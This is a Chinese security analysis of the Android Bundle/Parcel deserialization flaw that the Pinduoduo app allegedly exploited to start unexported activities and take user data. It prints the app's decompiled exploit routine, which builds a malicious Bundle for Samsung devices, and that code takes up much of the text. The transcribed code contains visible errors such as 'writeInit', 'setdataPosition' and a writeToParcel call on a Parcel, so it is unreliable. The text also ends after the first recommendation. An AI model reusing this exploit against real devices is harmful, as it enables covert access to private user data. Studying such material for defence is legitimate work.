3月初有关于利用Android漏洞在发布的移动应用中植入恶意程序代码获取用户敏感信息和数据这一恶劣事件，严重危害用户隐私权益。

我司技术人员对该问题进行分析和研究如下：

漏洞成因

和Java反序列化漏洞一样，Android的序列化和反序列化也会被利用，由于在序列化阶段存储的Key-Value，这导致在读取阶段如果数据没有被准确校验就会被构造的数据在反序列化阶段被利用。根据

https://xz.aliyun.com/t/2364#LaunchAnyWhere文章的分析，可以知道在反序列化阶段的时候如果构造的Bundle对象中存储的是{intent:myIntent}，会被传递给系统应用Settings，最终会被调用startActivity(intent)，如此就能实现任意App启动未导出等activity。

相比于传统的Java的序列化实现接口Serializable不同，Android的序列化实现的接口是Parcelable对象，这个接口用于在Android的通信Intent或者Binder进行传输数据。Android的序列化对象需要通过Bundle来携带，传输是需要使用Key-Value的方式存储，其内部的实现是一个Map，在获取数据时根据Key来取出对应的数值。

读取的时候通过对应的Type来读取

这样就能通过序列化传输和反序列化来读取完成数据传递。

App分析

从上面的分析可以知道，对PDD分析是可以看到如下

程序在构造Bundle对象并通过startSpecialActivity等函数进行分发启动。这其中还通过实现Autheniticator来构造恶意的Bundle对象

为了逃避静态分析，程序内使用了动态解密字符串和反射调用等方式构造调用链并在调用阶段通过配置文件来动态下发指令方式执行

结合文章：

https://github.com/davinci1010/pinduoduo_backdoor

//  assets/component/com.xunmeng.pinduoduo.AliveBaseAbilitiy

//  [Manwei]

//  com/xunmeng/pinduoduo/android_pull_ablity_comp/pullstartup/SamsungAlivePullStartup

Public  static Bundle makeBundleForSamsungSinceP(Intent intent){

   Bundle bundle = new Bundle();

   Parcel obtain = Parcel.obtain();

   Parcel obtain2 = Parcel.obtain();

   Parcel obtain3 = Parcel.obtain();

   obtain2.writeInt(3);

   obtain2.writeInt(13);

   obtain2.writeInt(72);

   obtain2.writeInt(3);

   obtain2.writeInt(0);

   obtain2.writeInt(0);

   obtain2.writeInt(0);

   obtain2.writeInt(0);

   obtain2.writeInt(0);

   obtain2.writeInt(4);

    obtain2.writeString("com.samsung.android.cepproxyks.CertByte");

   obtain2.writeInt(0);

   byte b[] = new byte[0];

   obtain2.writeByteArray(b);

   obtain2.writeInt(0);

   obtain2.writeInt(13);

   obtain2.writeInt(72);

   obtain2.writeInt(53);

   obtain2.writeInt(0);

   obtain2.writeInt(0);

   obtain2.writeInt(0);

   obtain2.writeInt(0);

   obtain2.writeInt(0);

   obtain2.writeInt(1);

   obtain2.writeInt(1);

   obtain2.writeInt(13);

   obtain2.writeInt(72);

   obtain2.writeInt(48);

   obtain2.writeInt(0);

   obtain2.writeInt(0);

   obtain2.writeInt(0);

   obtain2.writeInt(0);

   obtain2.writeInt(0);

   obtain2.writeInt(13);

   obtain2.writeInt(-1);

   int dataPosition = obtain2.dataPosition();

   obtain2.writeString("intent");

   obtain2.writeInt(4);

    obtain2.writeString("android.content.Intent");

   obtain2.writeToParcel(obtain3, 0);

   obtain2.appendFrom(obtain3, 0,  obtain3.dataSize());

   int dataPosition2 =  obtain2.dataPosition();

   obtain2.setDataPosition(dataPosition2 -  4);

   obtain2.writeInit(dataPosition2  -dataPosition);

   obtain2.setdataPosition(dataPosition2);

   int dataSize = obtain2.dataSize();

   obtain.writeInt(dataSize);

   obtain.writeInt(1279544898);

   obtain.appendFrom(obtain2, 0, dataSize);

   obtain.setDataPosition(0);

   bundle.readFromParcel(obtain);

   return bundle;

}

漏洞影响范围

目前除了google更新的Android13对该漏洞修复外，可能有些厂商的手机并未修复此漏洞。

相关建议

1.APP产品提供者安全开发上线进行源代码扫描，避免出现已知漏洞；